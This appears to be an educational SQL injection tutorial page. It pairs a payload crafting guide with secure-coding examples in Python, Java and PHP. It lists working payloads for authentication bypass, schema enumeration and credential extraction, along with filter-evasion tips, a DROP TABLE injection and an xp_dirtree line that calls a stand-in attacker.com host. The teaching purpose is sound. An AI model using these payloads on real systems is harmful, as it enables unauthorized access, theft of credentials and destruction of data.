SQL Injection Playground

🎮 Interactive SQL Injection Simulator

Try these payloads in our safe demo environment to see how SQL injection works in action!

📚 SQL Injection Types Explained

SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'

'; EXEC master..xp_dirtree '\\attacker.com\share'--

// User registration
INSERT INTO comments (text) VALUES ('Nice post!'; DROP TABLE users--')

// Later when admin views comments... boom!

🔍 Identifying Vulnerable Endpoints

During Testing:

1. Error Probing: Look for SQL errors when sending special characters (', ", ;)
2. Boolean Tests: Try ' AND 1=1-- vs ' AND 1=2-- and compare responses
3. Time Delays: '; WAITFOR DELAY '0:0:5'-- to test for blind SQLi
4. UNION Attacks: Find column count with ' ORDER BY X-- incrementing X until error

During Code Review:

# UNSAFE - Direct string concatenation (VULNERABLE)
query = "SELECT * FROM users WHERE username = '" + username + "'"

# SAFE - Parameterized queries (SECURE)
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))

Red Flags in Code:

• String building with user input
• Use of exec() or dynamic SQL
• No input validation/sanitization
• Raw SQL queries instead of ORM
• Overly permissive database users

🧠 Payload Crafting Guide

Structure Your Attack:

1. Break Out: Close the current context (', ", ))
2. Inject: Add your malicious SQL (OR 1=1, UNION SELECT, etc.)
3. Comment Out: Neutralize the rest (--, #, /*)

Pro Tips:

• Use /**/ instead of spaces if spaces are filtered
• Try CHR(65) instead of A if quotes are escaped
• For numbers: 1 OR 1=1 instead of string-based injections
• Hex encoding can bypass some filters: 0x61646d696e = 'admin'
• Try alternative comment syntax: -- , #, /**/

Common Payloads:

Authentication Bypass: ' OR '1'='1'--
Database Version: ' UNION SELECT 1,version(),3--
Table Names: ' UNION SELECT 1,table_name,3 FROM information_schema.tables--
Column Names: ' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
Data Exfiltration: ' UNION SELECT 1,username||':'||password,3 FROM users--

🛡️ Defense Mechanisms

Secure Coding Examples:

Java (JDBC):

// UNSAFE
String query = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

// SAFE
String query = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
ResultSet rs = pstmt.executeQuery();

PHP:

// UNSAFE
$query = "SELECT * FROM users WHERE username = '" . $_GET['username'] . "'";
$result = mysqli_query($conn, $query);

// SAFE
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $_GET['username']);
$stmt->execute();
$result = $stmt->get_result();